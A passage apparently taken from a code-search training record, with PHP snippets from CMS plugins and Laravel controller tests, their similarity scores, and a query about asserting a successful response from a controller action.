{\r\n $this->mode=$mode;\r\n }\r\n if (isset($view_mode)) {\r\n $this->view_mode=$view_mode;\r\n }\r\n if (isset($edit_mode)) {\r\n $this->edit_mode=$edit_mode;\r\n }\r\n if (isset($data_source)) {\r\n $this->data_source=$data_source;\r\n }\r\n if (isset($tab)) {\r\n $this->tab=$tab;\r\n }\r\n}", "public function getParams()\r\n {\r\n \tglobal $mainframe;\r\n \t\r\n \t$params =& JComponentHelper::getParams('com_jresearch');\r\n $jinput = JFactory::getApplication()->input; \r\n \t$itemid = $jinput->getInt('Itemid', 0);\r\n \t\r\n \tif($itemid != 0 && !$mainframe->isAdmin())\r\n \t{\r\n \t\t$menu = JSite::getMenu();\r\n \t\t$mparams = $menu->getParams($itemid);\r\n \t\t\r\n \t\t$params->merge($mparams);\r\n \t}\r\n \t\r\n \treturn $params;\r\n }", "public function params()\n {\n $services = $disciplines = [];\n foreach (Service::query()->select('name')->where('is_allowed', true)->get() as $service) {\n array_push($services, $service->name);\n }\n foreach (Discipline::query()->select('name')->where('is_allowed', true)->get() as $discipline) {\n array_push($disciplines, $discipline->name);\n }\n\n return $this->successResponse([\n 'services' => $services,\n 'disciplines' => $disciplines,\n 'pages' => Page::query()->where('is_allowed', true)->get(),\n 'costs' => Cost::query()->where('is_allowed', true)->get(),\n 'deadlines' => Deadline::query()->where('is_allowed', true)->get()->groupBy('metric')\n ]);\n }", "public function js_template() {\n\t\t?>\n <script id=\"js-builderius-setting-<?php echo $this->setting_key; ?>-tmpl\" type=\"text/template\">\n <div class=\"uni-modal-row uni-clear\">\n\t\t\t\t<?php echo $this->generate_field_label_html() ?>\n <div class=\"uni-modal-row-second uni-clear\">\n <div class=\"uni-setting-fields-wrap\">\n\t\t\t\t\t\t<?php\n\t\t\t\t\t\techo $this->generate_text_html(\n\t\t\t\t\t\t\t'margin[top]',\n\t\t\t\t\t\t\tarray( 'class' => array( 'uni-setting-field-1' ), 'value' => '{{- data.top }}' )\n\t\t\t\t\t\t);\n\t\t\t\t\t\techo $this->generate_text_html(\n\t\t\t\t\t\t\t'margin[right]',\n\t\t\t\t\t\t\tarray( 'class' => array( 'uni-setting-field-1' ), 'value' => '{{- data.right }}' )\n\t\t\t\t\t\t);\n\t\t\t\t\t\techo $this->generate_text_html(\n\t\t\t\t\t\t\t'margin[bottom]',\n\t\t\t\t\t\t\tarray( 'class' => array( 'uni-setting-field-1' ), 'value' => '{{- data.bottom }}' )\n\t\t\t\t\t\t);\n\t\t\t\t\t\techo $this->generate_text_html(\n\t\t\t\t\t\t\t'margin[left]',\n\t\t\t\t\t\t\tarray( 'class' => array( 'uni-setting-field-1' ), 'value' => '{{- data.left }}' )\n\t\t\t\t\t\t);\n\t\t\t\t\t\techo $this->generate_linked_checkbox_html();\n\t\t\t\t\t\techo $this->generate_radio_html(\n\t\t\t\t\t\t\t'margin[unit]',\n\t\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\t'options' => array(\n\t\t\t\t\t\t\t\t\t'px' => 'px',\n\t\t\t\t\t\t\t\t\t'%' => '%'\n\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t'js_var' => 'data.unit'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t\t?>\n </div>\n </div>\n </div>\n </script>\n\t\t<?php\n\t}", "private function build_settings_window() {\n\t\t$content = \"<div class='formlift-sections-container'>\";\n\t\tforeach ( $this->sections as $section ) {\n\t\t\t$content .= $section;\n\t\t}\n\t\t$content .= \"</div>\";\n\n\t\treturn $content;\n\t}", "public function getViewVars();", "public function getViewVars();", "function render() {\n\t\t$this->setJs('owa.base', 'base/js/includes/jquery/flot_v0.7/flot.min.js'); \n\t\t\n\t\t// Sets the template php file you want to control the appearance of your report\n\t\t// Template path should be: example/templates/exampleDashboard.php\n\t\t$this->body->setTemplateFile('example','exampleDashboard.php');\n\t\t\n\t\t// $this->get gets the variables set by the report controller class\n\t\t// $this->body->set sets the variables you want your template to be able to access\n\t\t$this->body->set('users', $this->get('users'));\n\t\t$this->body->set('currentUser', $this->get('currentUser'));\n\t\t$this->body->set('actions', $this->get('actions'));\n\t\t$this->body->set('actionsByUser',$this->get('actionsByUser'));\n\t\t\n\t}", "function siteorigin_panels_render( $post_id = false, $panels_data = false ) {\n\n\tif( empty($post_id) ) $post_id = get_the_ID();\n\n\tglobal $siteorigin_panels_current_post;\n\t$old_current_post = $siteorigin_panels_current_post;\n\t$siteorigin_panels_current_post = $post_id;\n\n\t// Try get the cached panel from in memory cache.\n\tglobal $siteorigin_panels_cache;\n\tif(!empty($siteorigin_panels_cache) && !empty($siteorigin_panels_cache[$post_id]))\n\t\treturn $siteorigin_panels_cache[$post_id];\n\n\tif(empty($panels_data)){\n\t\tif(post_password_required($post_id)) return false;\n\t\t$panels_data = get_post_meta($post_id, 'panels_data', true);\n\t}\n\n\t$panels_data = apply_filters( 'siteorigin_panels_data', $panels_data, $post_id );\n\tif( empty( $panels_data ) || empty( $panels_data['grids'] ) ) return '';\n\n\t// Create the skeleton of the page\n\t$layout = array();\n\tif( !empty( $panels_data['section'] ) && is_array( $panels_data['section'] ) ) {\n\t\tforeach ($panels_data['section'] as $si => $sect ) {\n\t\t\t$layout[intval($si)] = array();\n\t\t}\n\t}\n\n\tif( !empty( $panels_data['grids'] ) && is_array( $panels_data['grids'] ) ) {\n\t\tforeach ( $panels_data['grids'] as $grid ) {\n\t\t\t$layout[intval($grid['section'])][] = array();\n\t\t}\n\t}\n\n\tif( !empty( $panels_data['grid_cells'] ) && is_array( $panels_data['grid_cells'] ) ) {\n\t\tforeach ( $panels_data['grid_cells'] as $cell ) {\n\t\t\t$layout[intval($cell['section'])][intval($cell['grid'])][] = array(\n\t\t\t\t'weight' => $cell['weight'],\n\t\t\t\t'widgets' => array()\n\t\t\t);\n\t\t}\n\t}\n\n\tif( !empty($panels_data['widgets']) && is_array($panels_data['widgets']) ){\n\t\tforeach ( $panels_data['widgets'] as $widget ) {\n\t\t\t$layout[intval( $widget['info']['section'] )][intval( $widget['info']['grid'] )][intval( $widget['info']['cell'] )]['widgets'][] = $widget;\n\t\t}\n\t}\n\n\tob_start();\n\n\tforeach ( $layout as $si => $section ) {\n\t\techo '<div class=\"section '.$panels_data['section'][$si]['class'].' section-'.($si+1).'\">';\n\n\t\tforeach ( $layout[$si] as $gi => $grid ) {\n\t\t\techo '<div class=\"grid grid-'.($gi+1).'\">';\n\n\t\t\tforeach ( $layout[$si][$gi] as $ci => $cell ) {\n\t\t\t\techo '<div class=\"column '.$cell['weight'].' column-'.($ci+1).'\">';\n\n\t\t\t\tforeach ( $layout[$si][$gi][$ci]['widgets'] as $pi => $widget ) {\n\t\t\t\t\t$data = $widget;\n\t\t\t\t\tunset( $data['info'] );\n\n\t\t\t\t\tsiteorigin_panels_the_widget( \n\t\t\t\t\t\t$widget['info']['class'], //clase del widget (tipo)\n\t\t\t\t\t\t$data,\t// info instance\n\t\t\t\t\t\t$si,\t// section\n\t\t\t\t\t\t$gi,\t// gridd\n\t\t\t\t\t\t$ci,\t// cell\n\t\t\t\t\t\t$pi,\t// panel nb\n\t\t\t\t\t\t$pi == count( $widgets ) - 1, // true si es el ultimo\n\t\t\t\t\t\t$post_id \n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\techo '</div>'; // close cell\n\t\t\t}\n\n\t\t\techo '</div>'; // close grid\n\t\t} // end foreach grids\n\t\techo '</div>'; // close section\n\t} // end foreach section\n\n\t$html = ob_get_clean();\n\n\t// Reset the current post\n\t$siteorigin_panels_current_post = $old_current_post;\n\n\treturn apply_filters( 'siteorigin_panels_render', $html, $post_id, !empty($post) ? $post : null );\n}", "protected function _params()\n {\n $all = array_flip(Whups::getSearchResultColumns());\n unset($all['id']);\n return array('columns' => array(\n 'type' => 'multienum',\n 'name' => _(\"Columns\"),\n 'default' => array_values(Whups::getSearchResultColumns('block')),\n 'values' => $all,\n ));\n }", "private function _createConfigs()\r\n {\r\n $languages = $this->context->language->getLanguages();\r\n\r\n foreach ($languages as $language){\r\n $title[$language['id_lang']] = 'Featured product';\r\n }\r\n $response = Configuration::updateValue('FIELD_FEATUREDPSL_NBR', 8);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_CAT', (int)Context::getContext()->shop->getCategory());\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_TITLE', $title);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_VERTICAL', 0);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_COLUMNITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_MAXITEM', 4);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_MEDIUMITEM', 2);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_MINITEM', 1);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_AUTOSCROLL', 0);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_AUTOSCROLLDELAY', 5000);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_PAUSEONHOVER', 0);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_PAGINATION', 0);\r\n $response &= Configuration::updateValue('FIELD_FEATUREDPSL_NAVIGATION', 1);\r\n\r\n return $response;\r\n }", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "function getParams() {\n global $id;\n global $mode;\n global $view_mode;\n global $edit_mode;\n global $tab;\n if (isset($id)) {\n $this->id=$id;\n }\n if (isset($mode)) {\n $this->mode=$mode;\n }\n if (isset($view_mode)) {\n $this->view_mode=$view_mode;\n }\n if (isset($edit_mode)) {\n $this->edit_mode=$edit_mode;\n }\n if (isset($tab)) {\n $this->tab=$tab;\n }\n}", "public static function get_visdata_parameters() {\n return new external_function_parameters(\n array(\n 'courseids' => new external_multiple_structure(\n new external_value(PARAM_INT, get_string('courseidparam', 'local_uowvis'), true, 0, false)\n )\n )\n );\n }", "function gen_associatedpanels_fields(&$section, $value1, $value2, $value3, $value4) {\n\n\t$group = new Form_Group('Associated Panels Show/Hide');\n\n\t$group->add(new Form_Checkbox(\n\t\t'dashboardavailablewidgetspanel',\n\t\tnull,\n\t\t'Available Widgets',\n\t\t$value1\n\t\t))->setHelp('Show the Available Widgets panel on the Dashboard.');\n\n\t$group->add(new Form_Checkbox(\n\t\t'systemlogsfilterpanel',\n\t\tnull,\n\t\t'Log Filter',\n\t\t$value2\n\t))->setHelp('Show the Log Filter panel in System Logs.');\n\n\t$group->add(new Form_Checkbox(\n\t\t'systemlogsmanagelogpanel',\n\t\tnull,\n\t\t'Manage Log',\n\t\t$value3\n\t))->setHelp('Show the Manage Log panel in System Logs.');\n\n\t$group->add(new Form_Checkbox(\n\t\t'statusmonitoringsettingspanel',\n\t\tnull,\n\t\t'Monitoring Settings',\n\t\t$value4\n\t))->setHelp('Show the Settings panel in Status Monitoring.');\n\n\t$group->setHelp('These options allow certain panels to be automatically hidden on page load. A control is provided in the title bar to un-hide the panel.');\n\n\t$section->add($group);\n}", "public static function get_parameters() {\n $r = array_merge(\n parent::get_parameters(),\n array(\n array(\n 'name' => 'transect_count_attr_ids',\n 'caption' => 'Transect count attribute IDs',\n 'description' => 'Comma separated list of sample attribute IDs. Specify each attribute that can contain a count of transects surveyed '.\n '(e.g. low shore, middle shore, high shore). For each attribute, n transects will be available for data input.',\n 'type' => 'textfield',\n 'required' => true,\n 'group' => 'Big Sea setup'\n ), array(\n 'name' => 'transect_captions',\n 'caption' => 'Transect captions',\n 'description' => 'Comma separated list of captions to use for each of the above attributes, in the same order.',\n 'type' => 'textfield',\n 'required' => true,\n 'group' => 'Big Sea setup'\n ),\n array(\n 'name' => 'child_sample_zone_attr_id',\n 'caption' => 'Child sample zone attribute ID',\n 'description' => 'A text attribute used to store the zone in the child sample.',\n 'type' => 'select',\n 'table' => 'sample_attribute',\n 'valueField' => 'id',\n 'captionField' => 'caption',\n 'group' => 'Big Sea setup'\n ), array(\n 'name' => 'child_sample_transect_attr_id',\n 'caption' => 'Child sample transect attribute ID',\n 'description' => 'An integer attribute used to store the transect in the child sample.',\n 'type' => 'select',\n 'table' => 'sample_attribute',\n 'valueField' => 'id',\n 'captionField' => 'caption',\n 'group' => 'Big Sea setup'\n ), array(\n 'name' => 'search_species_transect_attr_id',\n 'caption' => 'Parent sample search species attribute ID',\n 'description' => 'An integer multivalut attribute used to store the search species list in the parent attribute.',\n 'type' => 'select',\n 'table' => 'sample_attribute',\n 'valueField' => 'id',\n 'captionField' => 'caption',\n 'group' => 'Big Sea setup'\n ),\n array(\n 'name' => 'front_page_path',\n 'caption' => 'Front page path',\n 'description' => 'Path to the front page input form.',\n 'type' => 'textfield',\n 'required' => true,\n 'group' => 'Big Sea setup'\n ),\n array(\n 'name' => 'parent_sample_method_id',\n 'caption' => 'Parent Sample Method',\n 'type' => 'select',\n 'table' => 'termlists_term',\n 'captionField' => 'term',\n 'valueField' => 'id',\n 'extraParams' => array('termlist_external_key' => 'indicia:sample_methods'),\n 'required' => false,\n 'helpText' => 'The sample method that will be used for created visit samples.',\n 'group' => 'Big Sea setup'\n )\n )\n );\n return $r;\n }", "public function render_content() {\n\t\t$name = '_options-dimension-' . $this->id;\n\t\t$values = $this->value();\n\t\t$fields = $this->fields;\n\n\t\tif ( ! is_array( $values ) )\n\t\t\t$values = explode( ',', $this->value() );\n\n\t\t$field_index = 0;\n\t\t?>\n\t\t<div class=\"options-control-inputs\">\n\t\t\t<?php foreach ( $fields as $id => $title ): ?>\n\t\t\t\t<label for=\"<?php __esc_attr( $name . '_' . $id ) ?>\">\n\t\t\t\t\t<span><?php __esc_html( $title ) ?></span>\n\t\t\t\t\t<input type=\"text\" name=\"op-options[<?php __esc_attr( $this->id ) ?>][]\"\n\t\t\t\t\t\t value=\"<?php __esc_attr( $values[$field_index++] ) ?>\"\n\t\t\t\t\t\t id=\"<?php __esc_attr( $name . '_' . $id ) ?>\" />\n\t\t\t\t</label>\n\t\t\t<?php endforeach ?>\n\t\t</div>\n\t\t<?php\n\t}", "public function prepareVars()\n {\n $this->vars['relationManageId'] = $this->manageId;\n $this->vars['relationLabel'] = $this->config->label ?: $this->field;\n $this->vars['relationManageTitle'] = $this->manageTitle;\n $this->vars['relationField'] = $this->field;\n $this->vars['relationType'] = $this->relationType;\n $this->vars['relationSearchWidget'] = $this->searchWidget;\n $this->vars['relationToolbarWidget'] = $this->toolbarWidget;\n $this->vars['relationManageMode'] = $this->manageMode;\n $this->vars['relationManageWidget'] = $this->manageWidget;\n $this->vars['relationToolbarButtons'] = $this->toolbarButtons;\n $this->vars['relationViewMode'] = $this->viewMode;\n $this->vars['relationViewWidget'] = $this->viewWidget;\n $this->vars['relationViewModel'] = $this->viewModel;\n $this->vars['relationPivotWidget'] = $this->pivotWidget;\n $this->vars['relationSessionKey'] = $this->relationGetSessionKey();\n $this->vars['relationExtraConfig'] = $this->extraConfig;\n }" ]
[ "0.6011015", "0.59084225", "0.5765125", "0.57403845", "0.5702536", "0.5701159", "0.5690994", "0.5559121", "0.55481553", "0.5540313", "0.54797065", "0.5465413", "0.54220784", "0.53967685", "0.53846174", "0.5379291", "0.5361427", "0.5360805", "0.534812", "0.534812", "0.53384155", "0.5333119", "0.53267837", "0.532527", "0.5305317", "0.52584666", "0.5244055", "0.5231288", "0.52243453", "0.52160907", "0.52017015", "0.5192294", "0.51877666", "0.5184618", "0.5184145", "0.5179291", "0.51749414", "0.51661247", "0.5147669", "0.5145211", "0.51308197", "0.5119795", "0.5106941", "0.5104356", "0.50997037", "0.50994426", "0.5098738", "0.50922", "0.5090978", "0.5087566", "0.5069175", "0.50580543", "0.50575244", "0.50566393", "0.5038406", "0.50292075", "0.50254655", "0.5022003", "0.5020034", "0.5007098", "0.50053596", "0.50053596", "0.50053596", "0.50053596", "0.5004275", "0.50029486", "0.49976575", "0.49878255", "0.49874726", "0.4984926", "0.49722445", "0.49721956", "0.4959137", "0.49567434", "0.49554375", "0.4945674", "0.49415544", "0.49303177", "0.49292806", "0.492529", "0.49219868", "0.49172065", "0.49172062", "0.49128973", "0.4912515", "0.4897377", "0.48906195", "0.48906195", "0.48883724", "0.4876735", "0.48725766", "0.48720956", "0.48705083", "0.48705083", "0.48705083", "0.48676506", "0.48636806", "0.48625356", "0.48606855", "0.48547694" ]
0.53438437
20
Assert successful response from a controller action.
public function assertSuccessfulResponse(Client $client) { $this->assertTrue( $client->getResponse()->headers->contains( 'Content-Type', 'application/json' ) ); $response = static::$kernel->getContainer()->get('json.service')->decode($client->getResponse()->getContent()); $this->assertEquals(ResponseSystemSuccess::$code, $response['status']); return $response; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function assertResponseOk()\n {\n $this->assertResponseStatusCode(200);\n }", "public function testIndexActionIsOk(){\n $this->dispatch('/administrator/manage-supplier');\n $this->assertResponseCode(200);\n }", "public function testIndexAction()\n {\n\n $res = $this->controller->indexAction();\n $this->assertInstanceOf(ResponseUtility::class, $res);\n //$this->assertStringEndsWith(\"active\", $res);\n }", "public function testDispatchActionReturnsResponse() {\n\t\tRouter::connect('/:controller/:action');\n\t\t$Dispatcher = new Dispatcher();\n\t\t$request = new Request('some_pages/responseGenerator');\n\t\t$response = $this->getMock('Cake\\Network\\Response', array('_sendHeader'));\n\n\t\tob_start();\n\t\t$Dispatcher->dispatch($request, $response);\n\t\t$result = ob_get_clean();\n\n\t\t$this->assertEquals('new response', $result);\n\t}", "public function testIndexAction()\n {\n $res = $this->controller->indexAction();\n $this->assertInternalType(\"object\", $res);\n $this->assertInstanceOf(ResponseUtility::class, $res);\n }", "public function youCanMakeSuccessResponses()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n\n // Act...\n $response = $this->responder->success( $fruit );\n\n // Assert...\n $this->assertInstanceOf( JsonResponse::class, $response );\n $this->assertEquals( $response->getStatusCode(), 200 );\n $this->assertEquals( $response->getData( true ), [\n 'status' => 200,\n 'success' => true,\n 'data' => [\n 'name' => 'Mango',\n 'price' => 10,\n 'isRotten' => false\n ]\n ] );\n }", "public function youCanMakeSuccessResponses()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n\n // Act...\n $response = $this->responder->success( $fruit );\n\n // Assert...\n $this->assertInstanceOf( JsonResponse::class, $response );\n $this->assertEquals( $response->getStatusCode(), 200 );\n $this->assertEquals( $response->getData( true ), [\n 'status' => 200,\n 'success' => true,\n 'data' => [\n 'name' => 'Mango',\n 'price' => 10,\n 'isRotten' => false\n ]\n ] );\n }", "public function testIndexAction()\n {\n $res = $this->controller->indexAction();\n $this->assertIsObject($res);\n }", "public function testSendSuccess()\n {\n $this->setMockHttpResponse('AuthorizeRequestSuccess.txt');\n\n /** @var AuthorizeResponse $response */\n $this->request->setUserName($this->userName);\n $this->request->setPassword($this->password);\n $response = $this->request->send();\n\n $this->assertTrue($response->isSuccessful());\n $this->assertTrue($response->isRedirect());\n $this->assertEquals($response->getRedirectMethod(), 'GET');\n $this->assertEmpty($response->getRedirectData());\n $this->assertNull($response->getCode());\n $this->assertNull($response->getMessage());\n $this->assertEquals($response->getOrderId(), '61351fbd-ac25-484f-b930-4d0ce4101ab7');\n $this->assertEquals(\n $response->getRedirectUrl(),\n 'https://3dsec.sberbank.ru/payment/merchants/kinohod/payment_ru.html?mdOrder=61351fbd-ac25-484f-b930-4d0ce4101ab7'\n );\n }", "public function testReturnsResponse()\n {\n $controller = new YatzyController();\n $this->assertInstanceOf(\"App\\Http\\Controllers\\YatzyController\", $controller);\n\n $response = $this->get('/yatzy');\n\n $response->assertStatus(200);\n }", "public function testReturnsAction()\n {\n $controller = new YatzyController();\n $this->assertInstanceOf(\"App\\Http\\Controllers\\YatzyController\", $controller);\n\n // $controller->setup();\n\n $this->actionReturns('firstView', url(\"/yatzy/firstRoll\"), $controller);\n // $this->actionReturns('rolling', url(\"/yatzy/roll\"), $controller);\n $this->actionReturns('end', url(\"/highscore/store\"), $controller);\n }", "public function testIndexAction()\n {\n $request = $this->di->get(\"request\");\n $request->setServer(\"REMOTE_ADDR\", \"127.0.0.1\");\n $res = $this->controller->indexAction();\n $this->assertIsArray($res);\n\n $json = $res[0];\n $this->assertEquals(\"Oops, platsinformation saknas\", $json[\"err\"]);\n }", "public function testIndexAction() : void\n {\n $this->di->request->setPost(\"ip\", \"2002:c0a8:101::42\");\n\n $res = $this->controller->indexActionPost();\n $this->assertInternalType(\"array\", $res);\n\n list($json, $status) = $res;\n $this->assertEquals($json[\"valid\"], true);\n $this->assertEquals($status, 200);\n }", "public function testSendSuccess()\n {\n $this->setMockHttpResponse('RegisterRequestSuccess.txt');\n\n /** @var AuthorizeResponse $response */\n $this->request->setPassword($this->password);\n $response = $this->request->send();\n\n $this->assertTrue($response->isSuccessful());\n $this->assertTrue($response->isRedirect());\n $this->assertEquals($response->getRedirectMethod(), 'POST');\n $this->assertEquals(\n [\n 'signature' => 'NGE4NDUyNzZkNDE0MjMzZmI1NmI5MGQzMTEwY2E5YTQ=',\n 'id' => '486800',\n 'sector' => 222\n ],\n $response->getRedirectData()\n );\n $this->assertSame(0, $response->getCode());\n $this->assertNull($response->getMessage());\n $this->assertEquals($response->getOrderId(), 486800);\n $this->assertEquals(\n $response->getRedirectUrl(),\n 'https://endpoint.test/Authorize'\n );\n }", "public function test200()\n {\n $contact = $this->createFactoryContactPerson();\n\n $user = $this->randomAdmin();\n\n $response = $this->requestToApi(\n $user, 'GET', '/contact-people/'. $contact->id\n );\n\n $response->assertStatus(200);\n }", "public function youCanPassInStatusCode()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n\n // Act...\n $response = $this->responder->success( $fruit, 201 );\n\n // Assert...\n $this->assertEquals( $response->getStatusCode(), 201 );\n }", "public function testAction() {\n\t\t$reponse = new Reponse ();\n\t\t\n\t\t$reponse->data = $this->person->toArray (); // $input_arrays;\n\t\t // $this->societe->save();\n\t\t\n\t\t$reponse->message = \"TXT_PERSON_SENT\";\n\t\t$reponse->success = true;\n\t\t\n\t\t$this->render ( $reponse );\n\t}", "public function testAction()\n\t{\n\t\t$this->outputXml('\n\t\t\t<result>\n\t\t\t\t<code>200</code>\n\t\t\t\t<message>API status: OK</message>\n\t\t\t</result>\n\t\t');\n\t}", "public function testView() {\n $result = $this->get('/severities/2');\n $this->assertContains('status\":\"success\",\"code\":200,', $result);\n }", "public function testIndexActionCanBeAccessed()\n {\n $this->dispatch('/venue');\n $this->assertResponseStatusCode(200);\n }", "public function testGetSuccess()\n {\n $fixtures = new GetAccountActionActionFixture();\n $this->loadFixtures($fixtures);\n\n $account = $fixtures->getReference('test_account_1');\n\n $this->getContainer()->get('core.model.transaction')->updateAccountAmount($account);\n $this->getEntityManager()->clear();\n\n $this->client\n ->request(Request::METHOD_GET, sprintf('/api/accounts/%s', $account->getId()));\n\n self::assertEquals(200, $this->client->getResponse()->getStatusCode());\n self::assertJsonStringEqualsJsonString(<<<JSON\n {\r\n \"id\": \"{$account->getId()}\",\n \"amount\": 99.25\n }\nJSON\n ,\n $this->client->getResponse()->getContent()\n );\n }", "public function testIndexActionPost()\n {\n $request = $this->di->get(\"request\");\n $request->setPost(\"ip\", \"8.8.8.8\");\n // var_dump($request);\n\n $res = $this->controller->indexActionPost();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertContains(\"Kolla vädret\", $body);\n }", "public function testIndexSuccess()\n {\n $this->setAdminSession();\n $this->get($this->indexUrl);\n $this->assertResponseOk();\n }", "public function testIndexActionCanBeAccessed()\n\t{\n\t\t$this->dispatch('/');\n\t\t$this->assertResponseStatusCode(200);\n\t\t$this->assertModuleName('DEC');\n\t\t$this->assertControllerName('DEC\\Controller\\Index');\n\t\t$this->assertControllerClass('IndexController');\n\t\t$this->assertMatchedRouteName('home');\n\t}", "function testTestControllerShouldSaveTest()\n {\n \t$this->withoutMiddleware();\n\n \t$response = $this->call('post', 'tests');\n\n \t$this->assertEquals(302, $response->status());\n }", "public function test200()\n {\n $schedule = $this->createFactorySchedule();\n\n $user = $this->randomAdmin();\n\n $response = $this->requestToApi(\n $user, 'GET', '/schedules/'. $schedule->id\n );\n\n $response->assertStatus(200);\n }", "public function testIndexActionGet()\n {\n $request = $this->di->get(\"request\");\n $request->setGet(\"ip\", \"8.8.8.8\");\n\n\n $res = $this->controller->indexActionGet();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertContains(\"Kolla vädret\", $body);\n }", "public function testControllerReturnsResponse()\n {\n $controller = new DiceGame();\n\n $exp = \"Illuminate\\View\\View\";\n $res = $controller->index();\n $this->assertInstanceOf($exp, $res);\n }", "public function testInitActionPost()\n {\n $this->app->request->setPost(\"dices\", 2);\n $this->app->request->setPost(\"opponents\", 2);\n $res = $this->controller->initActionPost();\n $this->assertInstanceOf(ResponseUtility::class, $res);\n //$this->assertStringEndsWith(\"active\", $res);\n }", "public function youCanMakeSuccessResponsesUsingTrait()\n {\n // Arrange...\n $fruit = $this->createTestModel();\n $controller = $this->createTestController();\n $responder = $this->mockResponder();\n\n // Assert...\n $responder->shouldReceive( 'success' )->with( $fruit, 200 )->once();\n\n // Act...\n ( new $controller )->successAction( $fruit );\n }", "public function testRouteIndexClienteOk()\n {\n $this->call('GET', 'cliente');\n $this->assertResponseOk();\n }", "public function testSuccess()\n {\n }", "public function testCreateAction()\n {\n $res = $this->controller->createAction();\n $this->assertContains(\"Create\", $res->getBody());\n }", "public function test_actionIndexError()\n {\n $expected_output = \"HTTP/1.1 424 \\n\" .\n \"Content-type: application/json\\n\" .\n '{\"errors\":{\"general\":[\"Not a proper http method type, please send a FILE\"]}}';\n\n $this->assertControllerResponse('actionIndex', '/create/', $expected_output);\n }", "public function testSuccessfulResponseDataFormatForConfirmProcessWithValidSuccessfulStatus(): void\n {\n $this->tryTestWithRequest();\n $this->assertTrue($this->response->getOriginalResponse()->isSuccessful());\n }", "public function testSuccessAction()\n {\n $order = Mage::getModel('sales/order')->loadByIncrementId($this->getRequest()->getParam('order'));\n\n if (!$order->getId()) {\n $this->_redirect('checkout/cart');\n return;\n }\n\n $session = $this->getOnepage()\n ->getCheckout()\n ->setLastOrderId($order->getId())\n ->setLastQuoteId($order->getQuoteId())\n ->setLastSuccessQuoteId($order->getQuoteId());\n\n $this->_forward('success');\n }", "public function testItRespondsSuccesfully()\n {\n $response = $this->api->send_request($this->location);\n\n $this->assertEquals(200, $response->getStatusCode());\n }", "public function test_WhenBasicRequest_Expect_Response200()\n {\n $response = $this->get('/');\n\n $this->assertEquals(200, $this->response->status());\n }", "public function index_returns_an_ok_response(): void\n {\n $user = $this->createUserWithPermission('show-admin-menu');\n\n $response = $this->actingAs($user)->get(route('admin.health.index'));\n\n $response->assertOk();\n $response->assertViewIs('health.index');\n $response->assertViewHas('results');\n $response->assertSeeText('Database Health Checks');\n }", "public function testSendSuccess()\n {\n $this->setMockHttpResponse('RefundRequestSuccess.txt');\n\n $this->request->setPassword($this->password);\n /** @var RefundResponse $response */\n $response = $this->request->send();\n\n $this->assertTrue($response->isSuccessful());\n $this->assertEquals($response->getCode(), 0);\n $this->assertEquals($response->getOrderId(), 487016);\n $this->assertEquals($response->getOperationId(), 359999);\n }", "public function testIndex()\n {\n $response = $this->action('GET', '\\Modules\\Admin\\Http\\Controllers\\FaqCategoryController@index');\n $this->assertResponseStatus(200, $response->status());\n $this->assertInstanceOf('Illuminate\\Http\\Response', $response);\n }", "public function testDeleteAction()\n {\n $res = $this->controller->deleteAction();\n $this->assertContains(\"Delete\", $res->getBody());\n }", "public function testGetAction()\n {\n\n $route = $this->getUrl('syedomair_app_catalog_postcatalog');\n $testDisplayName = 'Test Catalog Name';\n $requestPostArray = array('name'=> $testDisplayName);\n $requestPostArray = json_encode($requestPostArray);\n $this->client->request('POST', $route, array(), array(), array('CONTENT_TYPE' => 'application/json'),$requestPostArray);\n \n $response = $this->client->getResponse();\n //var_dump($response->getContent());\n $this->assertEquals( $response->getStatusCode(), 200);\n\n//syedomair_app_catalog_getcatalog GET ANY ANY /app/catalog/{catalog_id}\n\n $route = $this->getUrl('syedomair_app_catalog_getcatalog', array('catalog_id' => 1));\n $this->client->request('GET', $route);\n $response = $this->client->getResponse();\n //var_dump($response->getContent());\n $catalogName = json_decode($response->getContent(), true)['data']['catalog']['name']; \n $this->assertEquals($testDisplayName , $catalogName );\n\n }", "public function testSuccess()\n {\n $this->_package->success(\"Successful test\");\n $this->assertTrue($this->_result->wasSuccessful());\n }", "public function testStore()\n {\n $insertData = ['id' => '1', 'name' => 'Specifics', 'position' => '2', 'status' => '1'];\n $response = $this->action('POST', '\\Modules\\Admin\\Http\\Controllers\\FaqCategoryController@store', $insertData);\n $this->assertResponseStatus(200 || 302, $response->status());\n\n if ($response->status() == 302) {\n $this->assertInstanceOf('Illuminate\\Http\\RedirectResponse', 